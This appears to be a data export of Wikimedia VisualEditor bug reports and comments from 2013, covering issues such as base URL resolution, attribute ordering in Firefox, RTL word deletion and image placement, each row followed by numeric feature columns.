+233462,VisualEditor: Arrow keying off end of throws an exception,Apparently fixed by gerrit 66322.,,,1370297945,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b63g5k3ztoignbyr5s5w,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50980,"VisualEditor: Attribute order preservation is hopeless, get rid of it","
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1369928220,1371207206.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-wynzwypqafg7laiqaomg,task_description,resolved,True,c1,1,False,False,True,-5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+231913,"VisualEditor: Attribute order preservation is hopeless, get rid of it",Related URL: https://gerrit.wikimedia.org/r/68618 (Gerrit Change I1463d06db4900083dd4c565292bbabef09194b43),,,1371192190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wynzwypqafg7laiqaomg,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231908,"VisualEditor: Attribute order preservation is hopeless, get rid of it","It works fine in Chrome, but Firefox does not preserve the order in the attributes array:
+
+
+>>> var div = document.createElement('div')
+undefined
+>>> div.innerHTML='<a href=""foo"" data-parsoid=""bar""></a>';
+""<a href=""foo"" data-parsoid=""bar""></a>""
+>>> div.children[0]
+<a data-parsoid=""bar"" href=""foo"">
+>>> div.children[0].attributes
+[data-parsoid=""bar"", href=""foo""]",,,1369928377,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wynzwypqafg7laiqaomg,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+50975,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,"So that we can correctly calculate boundaries in unicode.wordbreak.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1369926300,1370532478.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vocovg5zyvqjxex3mwtr,task_description,resolved,True,c1,1,True,False,True,-5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+231618,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,Basic support added. Leaving open to work on full grapheme boundary detection.,,,1370531840,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vocovg5zyvqjxex3mwtr,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+231614,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,"This is fixed in the above commit, which is merged and will go out with wmf6.",,,1369932362,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vocovg5zyvqjxex3mwtr,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+231607,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,Related URL: https://gerrit.wikimedia.org/r/66123 (Gerrit Change I202b98199d2780534d1e02519b72579ba796f08f),,,1369928399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vocovg5zyvqjxex3mwtr,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50915,VisualEditor: Respect Parsoid's <base>,"Currently we don't -> lots of broken imagery in /w/index.php etc. entry points.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=59196",High,80.0,1369779540,1382985540.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_description,resolved,True,c1,1,True,False,False,-5,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+227902,VisualEditor: Respect Parsoid's <base>,"Change 90952 merged by jenkins-bot:
+Render resolved URLs for href and src attributes in CE
+
+https://gerrit.wikimedia.org/r/90952",,,1382986517,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227898,VisualEditor: Respect Parsoid's <base>,"Change 86065 merged by jenkins-bot:
+Resolve rendered URLs according to the provided <base>
+
+https://gerrit.wikimedia.org/r/86065",,,1382985176,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+227896,VisualEditor: Respect Parsoid's <base>,"Change 90952 had a related patch set uploaded by Catrope:
+Render resolved URLs for href and src attributes in CE
+
+https://gerrit.wikimedia.org/r/90952",,,1382383425,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+227894,VisualEditor: Respect Parsoid's <base>,"(In reply to comment #13)
+> Change 86065 had a related patch set uploaded by Catrope:
+> Resolve rendered URLs according to the provided <base>
+> 
+> https://gerrit.wikimedia.org/r/86065
+This addresses the most common symptoms of this bug. It fixes rendering of link targets for internal links (at least on initial rendering; the href attribute doesn't update correctly when the link is edited), and it fixes href and src attributes of things inside of generated content nodes (templates, mostly).
+
+While the change in Gerrit fixes href/src attribute rendering for uneditable href/src attributes, we still have to do something for models that manage their own href/src and edit it, or generate it from another editable attribute.
+
+ve.dm.LinkAnnotation, ve.dm.MWExternalLinkAnnotation: href attribute is edited directly; in practice MWExternalLinkAnnotation is a full URL and LinkAnnotation isn't used in the MW integration, but we should still fix them.
+
+ve.dm.MWInternalLinkAnnotation: Generates href based on title attribute, which can be edited. Links that came directly from Parsoid now render correctly due to a hack (see bug 51487), but edited links don't render correctly.
+
+ve.dm.ImageNode, ve.dm.MWInlineImageNode, ve.dm.MWBlockImageNode: src attribute is edited directly; in practice, the MW ones use full URLs (the user doesn't edit the src directly, and the UI widget gets full URLs from the API) and ImageNode isn't used in the MW integration, but we should still fix them.
+
+ve.dm.MWCategoryMetaItem, ve.dm.MWLanguageMetaItem: these manage hrefs that can be edited, but they're never rendered and always absolute, so we don't really care",,,1380241433,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,12,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+227891,VisualEditor: Respect Parsoid's <base>,"Change 86065 had a related patch set uploaded by Catrope:
+Resolve rendered URLs according to the provided <base>
+
+https://gerrit.wikimedia.org/r/86065",,,1380161671,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+227887,VisualEditor: Respect Parsoid's <base>,*** Bug 53190 has been marked as a duplicate of this bug. ***,,,1377727533,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+227883,VisualEditor: Respect Parsoid's <base>,"Fun fact: this is the most often duped VE bug ever, and it's in the top 30 of most often duped open bugs on our entire bugzilla, alongside classics such as bug 738 or bug 156. https://bugzilla.wikimedia.org/duplicates.cgi",,,1377727467,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0
+227877,VisualEditor: Respect Parsoid's <base>,*** Bug 53491 has been marked as a duplicate of this bug. ***,,,1377718799,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227868,VisualEditor: Respect Parsoid's <base>,*** Bug 50466 has been marked as a duplicate of this bug. ***,,,1377445192,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227861,VisualEditor: Respect Parsoid's <base>,Also reported today at it.wp (this was the result https://it.wikipedia.org/w/Tsonga_%28popolazione%29 ). Thanks.,,,1375819931,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+227855,VisualEditor: Respect Parsoid's <base>,"To hopefully help people find this bug, here is the description from bug 51122 ""link targets assumed to be same namespace when opened with ctrl+click"" updated to reflect that it now happens with all links, not just those in image captions:
+
+When opening a link from the editing interface using ctrl+click (or ""open in a new tab"" from the right button menu) the link target is assumed to be in the same namespace as the currently edited page.
+
+For example a link to [[Bridgnorth Cliff Railway]] from the page [[User:Thryduulf/sandbox]] is opened as [[User:Thryduulf/Bridgnorth Cliff Railway]]. A link to [[User:Thryduulf/sandbox2]] on the same page opens [[User:Thryduulf/User%3AThryduulf%2Fsandbox2]]. A link to that sandbox page
+from a page in the article namespace opens as [[User%3AThryduulf%2Fsandbox2]], but this does get you to the correct page.",,,1375706105,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+227849,VisualEditor: Respect Parsoid's <base>,"Come on guys, this is ""high major"" since May.",,,1375705817,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+227842,VisualEditor: Respect Parsoid's <base>,*** Bug 51122 has been marked as a duplicate of this bug. ***,,,1375705754,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227836,VisualEditor: Respect Parsoid's <base>,*** Bug 51585 has been marked as a duplicate of this bug. ***,,,1375705742,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227831,VisualEditor: Respect Parsoid's <base>,*** Bug 50764 has been marked as a duplicate of this bug. ***,,,1372984971,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227825,VisualEditor: Respect Parsoid's <base>,*** Bug 50216 has been marked as a duplicate of this bug. ***,,,1372270074,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+227818,VisualEditor: Respect Parsoid's <base>,"Timo says we can get the browser to do the resolution by getting the .href and .src properties in the original Parsoid document, so all we need to do is figure out which attributes are affected. I can think of href and src, are there others?",,,1369780004,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+50912,"VisualEditor: {Ctrl,Option}+{Delete,Backspace} doesn't delete a word in an RTL wiki","Pressing Ctrl-Backspace deletes a word in a <textarea> in Firefox. It works the same way in VisualEditor when the wiki's language is English, but if it's Hebrew, it only deletes one character.
+
+A GWT testing scenario for this would be something like this:
+
+Given $wgLanguageCode is 'he'
+        And I am editing an article
+        And I wrote 'אחת שתיים שלוש'
+When I press Ctrl-Backspace
+Then the remaining text is 'אחת שתיים '
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1369777380,1372962082.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-xrh4kcflnord5zllknj6,task_description,resolved,True,c1,1,False,False,True,-5,,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+227685,"VisualEditor: {Ctrl,Option}+{Delete,Backspace} doesn't delete a word in an RTL wiki","According to my test, this was fixed, and the behavior is as predicted on my local install. It doesn't work properly in the VE that exists in he.wikipedia, so whatever was done is new.
+
+The fact this works without fixes is incredibly weird, since the handleDelete() function uses offsets, and those are supposed to be opposite between Hebrew and English. I'm checking into potential causes, but as far as I've seen, Inez' re-implemented code works.
+
+Amir, if you can verify this works on your local installation, that'll be helpful. I am a bit concerned about this since it doesn't make sense (it *shouldn't* work) and I am concerned that it doesn't work on he.wiki. I want to verify it isn't some local fluke before we close this bug as resolved.",,,1371511847,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-xrh4kcflnord5zllknj6,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+227680,"VisualEditor: {Ctrl,Option}+{Delete,Backspace} doesn't delete a word in an RTL wiki","This will (should?) get fixed when Inez does the re-write of this area, but assigning to Moriel to bug him and make sure he does it right. :-)",,,1369782783,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xrh4kcflnord5zllknj6,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+50847,VisualEditor: Cursor before first character of heading and hitting Enter advances cursor one position,"Place the cursor at the first position of some heading (before the heading's first character). Hit Enter. As expected, an empty line appears before the heading, but the cursor is unexpectedly advanced by one position and is now located *after* the heading's first character.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1369603080,1372901377.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-leu57abgm2tb4hkx7knq,task_description,resolved,True,c1,1,False,False,True,-6,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+223509,VisualEditor: Cursor before first character of heading and hitting Enter advances cursor one position,*** Bug 50168 has been marked as a duplicate of this bug. ***,,,1373162663,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-leu57abgm2tb4hkx7knq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+223501,VisualEditor: Cursor before first character of heading and hitting Enter advances cursor one position,This was fixed and is now deployed.,,,1372901377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-leu57abgm2tb4hkx7knq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+50845,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),"Open the VisualEditor on the page https://en.wikipedia.org/wiki/Battle_of_Paris_(1814) . The two images are placed side by side between the lead paragraph and the infobox; they should be placed below the infobox. 
+
+It appears that the VisualEditor generally arranges two images horizontally rather than vertically, unlike the wikitext renderer.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1369599780,1371083774.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-s4cphi53nj54xruaarhy,task_description,resolved,True,c1,1,False,False,True,-6,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+223365,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),This is now fixed in master and will go live from tomorrow.,,,1371083774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4cphi53nj54xruaarhy,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+223361,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),*** Bug 49010 has been marked as a duplicate of this bug. ***,,,1370635551,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4cphi53nj54xruaarhy,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+223355,VisualEditor: Block-level media items' placement is incorrect (no clear after thumbs),"This is because we haven't been rewriting the image HTML to be like the normal display mode; this is now done for thumbs (you can see it as experimental code on MediaWiki.org) and mostly done for inline images, and will be deployed next week.",,,1370634398,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4cphi53nj54xruaarhy,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+50814,VisualEditor: List langlinks (readonly) in the meta-data dialog,"This is to make the categories pane less lonely; we will want to do this 'properly' (writable) later, though this is… challenging given the Wikidata complexities.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1369497420,1370489154.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7stkkrpd65tx5rjkp4fg,task_description,resolved,True,c1,1,True,False,True,-6,,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0
